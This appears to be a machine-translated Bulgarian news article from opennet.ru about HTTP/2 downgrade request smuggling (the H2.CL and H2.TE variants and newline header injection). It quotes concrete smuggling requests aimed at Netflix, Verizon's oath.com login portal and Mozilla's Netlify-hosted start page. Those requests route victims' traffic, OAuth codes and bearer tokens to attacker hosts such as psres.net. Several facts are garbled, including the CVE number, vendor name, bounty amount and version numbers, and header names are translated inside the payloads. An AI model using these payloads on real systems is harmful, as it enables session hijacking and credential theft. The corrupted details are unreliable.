Уеб системите, в които фронтендът приема връзки чрез HTTP/2 и предава към бекенда чрез HTTP/1.1, са били изложени на нов вариант на HTTP Request Smuggling атака, която позволява чрез изпращане на специално проектирани клиентски заявки да се проникне в съдържанието на заявки от други потребители, обработени в същия поток между предния и задния край. Атаката може да се използва за вмъкване на злонамерен JavaScript код в сесия с легитимен сайт, заобикаляне на системите за контрол на достъпа и прихващане на параметри за удостоверяване.
Проблемът засяга уеб проксита, балансьори на натоварването, уеб ускорители, системи за доставка на съдържание и други конфигурации, в които заявките се пренасочват според схемата front-end-backend. Авторът на изследването демонстрира способността да атакува системи на Netflix, Verizon, Bitbucket, Netlify CDN и Atlassian и получи $56 5 в програми за награди за уязвимост. Проблемът е потвърден и в продуктите на F2021 Networks. Частично проблемът засяга mod_proxy в http сървъра на Apache (CVE-33193-2.4.49), поправка се очаква във версия 3 (разработчиците бяха уведомени за проблема в началото на май и получиха 1.21.1 месеца, за да го коригират). В nginx възможността за указване на заглавките „Content-Length“ и „Transfer-Encoding“ едновременно беше блокирана в последната версия (XNUMX). Инструментите за атака вече са добавени към комплекта инструменти Burp и са налични като разширение Turbo Intruder.
Принципът на работа на новия метод за вклиняване на заявки в трафика е подобен на уязвимостта, идентифицирана от същия изследовател преди две години, но ограничен до интерфейси, които приемат заявки чрез HTTP/1.1. Спомнете си, че в схемата frontend-backend клиентските заявки се получават от допълнителен възел - frontend, който установява дълготрайна TCP връзка с backend, който директно обработва заявките. Чрез тази обща връзка обикновено се предават заявки от различни потребители, които следват веригата една след друга, разделени с помощта на HTTP протокола.
Класическата атака „HTTP Request Smuggling“ се основаваше на факта, че предните и задните части интерпретират използването на HTTP заглавките „Content-Length“ (определя общия размер на данните в заявката) и „Transfer-Encoding: chunked“ ( позволява прехвърляне на данни на части) по различен начин . Например, ако интерфейсът поддържа само „Content-Length“, но игнорира „Transfer-Encoding: chunked“, тогава атакуващият може да изпрати заявка, която съдържа и „Content-Length“ и „Transfer-Encoding: chunked“ заглавки, но размерът е "Дължина на съдържанието" не съответства на размера на веригата на парчета. В този случай фронтендът ще обработи и пренасочи заявката според „Content-Length“, а бекендът ще изчака блокирането да завърши въз основа на „Transfer-Encoding: chunked“ и оставащата опашка на заявката на атакуващия ще бъде в началото на предадената следваща чужда заявка.
За разлика от базирания на текст HTTP/1.1 протокол, който се анализира на ниво линия, HTTP/2 е двоичен протокол и манипулира блокове данни с предварително определен размер. HTTP/2 обаче използва псевдозаглавки, които съответстват на обикновените HTTP заглавки. Когато взаимодейства с бекенда чрез HTTP/1.1, фронтендът превежда тези псевдозаглавки в подобни HTTP/1.1 HTTP заглавки. Проблемът е, че бекендът взема решения за анализиране на потока въз основа на HTTP заглавките, зададени от предния край, без да знае параметрите на оригиналната заявка.
Включително под формата на псевдо-заглавки, стойностите "content-length" и "transfer-encoding" могат да бъдат предадени, въпреки факта, че те не се използват в HTTP / 2, тъй като размерът на всички данни се определя в отделно поле. Въпреки това, в процеса на конвертиране на HTTP/2 заявка в HTTP/1.1, тези заглавки се пренасят и могат да объркат бекенда. Има две основни опции за атака: H2.TE и H2.CL, при които бекендът е подведен от неправилно кодиране на трансфера или стойност на дължината на съдържанието, която не съответства на реалния размер на тялото на заявката, получено от интерфейса чрез HTTP/2 протокол.
Пример за H2.CL атака е неправилният размер на псевдозаглавието на дължината на съдържанието при изпращане на HTTP/2 заявка към Netflix. Тази заявка води до добавяне на подобна HTTP заглавка Content-Length при достъп до бекенда чрез HTTP/1.1, но тъй като размерът в Content-Length е по-малък от действителния размер, някои от данните в опашката се обработват като началото на следващата заявка.
Например HTTP/2 заявка :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Ще изпрати заявка до бекенда: POST /n HTTP/1.1 Хост: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: бар
Тъй като Content-Length е зададено на 4, бекендът ще приеме само „abcd“ като тяло на заявката и ще обработи останалата част от „GET /n HTTP/1.1…“ като начало на следващата заявка, обвързана с друг потребител. Съответно потокът няма да бъде синхронизиран и в отговор на следваща заявка ще бъде върнат резултатът от обработката на фалшивата заявка. В случая на Netflix, указването на хост на трета страна в заглавката „Host:“ в фалшива заявка доведе до отговор „Местоположение: https://02.rs?x.netflix.com/n“ на клиента и позволява произволно съдържание да бъде предавано на клиента, включително изпълнение на вашия JavaScript код в контекста на сайта Netflix.
Вторият вариант на атаката (H2.TE) е свързан със замяната на заглавката "Transfer-Encoding: chunked". Използването на псевдозаглавието за кодиране на трансфер в HTTP/2 е забранено от спецификацията и заявките с него се предписват да се третират като неправилни. Въпреки това, някои реализации на интерфейса пренебрегват това изискване и позволяват използването на псевдозаглавието за кодиране на трансфер в HTTP/2, което се превежда като подобно HTTP заглавие. Ако е налице заглавието „Transfer-Encoding“, бекендът може да го приеме като приоритет и да анализира данните на части в „разкъсан“ режим, като използва блокове с различни размери във формат „{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" въпреки първоначалното деление по общ размер.
Наличието на такава празнина беше демонстрирано от примера на Verizon. Проблемът обаче засяга портала за удостоверяване и системата за управление на съдържанието, която се използва и от сайтове като Huffington Post и Engadget. Например клиентска заявка през HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Причинена HTTP/1.1 заявка към бекенда: POST /identity/XUI HTTP/1.1 Хост: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=
Бекендът от своя страна игнорира заглавката „Content-Length“ и извърши разделяне в поток въз основа на „Transfer-Encoding: chunked“. На практика атаката направи възможно пренасочването на потребителски заявки към вашия сайт, включително прихващане на заявки, свързани с OAuth удостоверяване, чиито параметри се появяват в заглавката на Referer, както и симулиране на сесия за удостоверяване и иницииране на изпращане на потребителски идентификационни данни до хост на нападателя. GET /b2blanding/show/oops HTTP/1.1 Хост: psres.net Референт: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Хост: psres.net Упълномощаване: Носител eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
За да се атакуват HTTP/2 реализации, които не позволяват указване на псевдо-заглавието за кодиране на трансфер, е предложен друг метод, който включва заместване на заглавката "Transfer-Encoding" чрез прикачването му към други псевдо-заглавки, разделени от знак за нов ред (когато се преобразува към HTTP/1.1 в този случай се създават две отделни HTTP заглавки).
Например Atlassian Jira и Netlify CDN (използвани за обслужване на началната страница на Mozilla във Firefox) бяха засегнати от този проблем. По-конкретно, HTTP/2 заявката :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Хост : evil-netlify-domain\r\n Дължина на съдържанието: 5\r\n \r\nx=
причини HTTP/1.1 POST / HTTP/1.1 заявка да бъде изпратена до бекенда\r\n Хост: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Дължина: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Хост: evil-netlify-domain\r\n Дължина на съдържанието: 5\r\n \ r\nx=
Друг вариант за заместване на заглавката "Transfer-Encoding" беше да се прикачи към името на друга псевдозаглавка или към низ с метод на заявка. Например, при достъп до Atlassian Jira, името на псевдозаглавката „foo: bar\r\ntransfer-encoding“ със стойността „chunked“ доведе до добавянето на HTTP заглавките „foo: bar“ и „transfer-encoding : chunked", и указването в псевдо-заглавка ":method" на стойността "GET / HTTP/1.1\r\nTransfer-encoding: chunked" беше преведено в "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .
Изследователят, който идентифицира проблема, също предложи техника за тунелиране на заявки за атака на фронтендите, при която се установява отделна връзка към бекенда за всеки IP адрес и трафикът на различни потребители не се смесва. Предложената техника не ни позволява да се намесваме в заявките на други потребители, но прави възможно отравянето на споделения кеш, което засяга обработката на други заявки, и ви позволява да извършвате заместване на вътрешни HTTP заглавки, използвани за прехвърляне на информация за услугата от фронтенда към бекенда (например, при удостоверяване от страната на фронтенда в такива заглавки може да се изпрати информация за текущия потребител към бекенда). Като пример за прилагане на метода на практика, използвайки отравяне на кеша, беше възможно да се получи контрол върху страници в услугата Bitbucket.
Източник: opennet.ru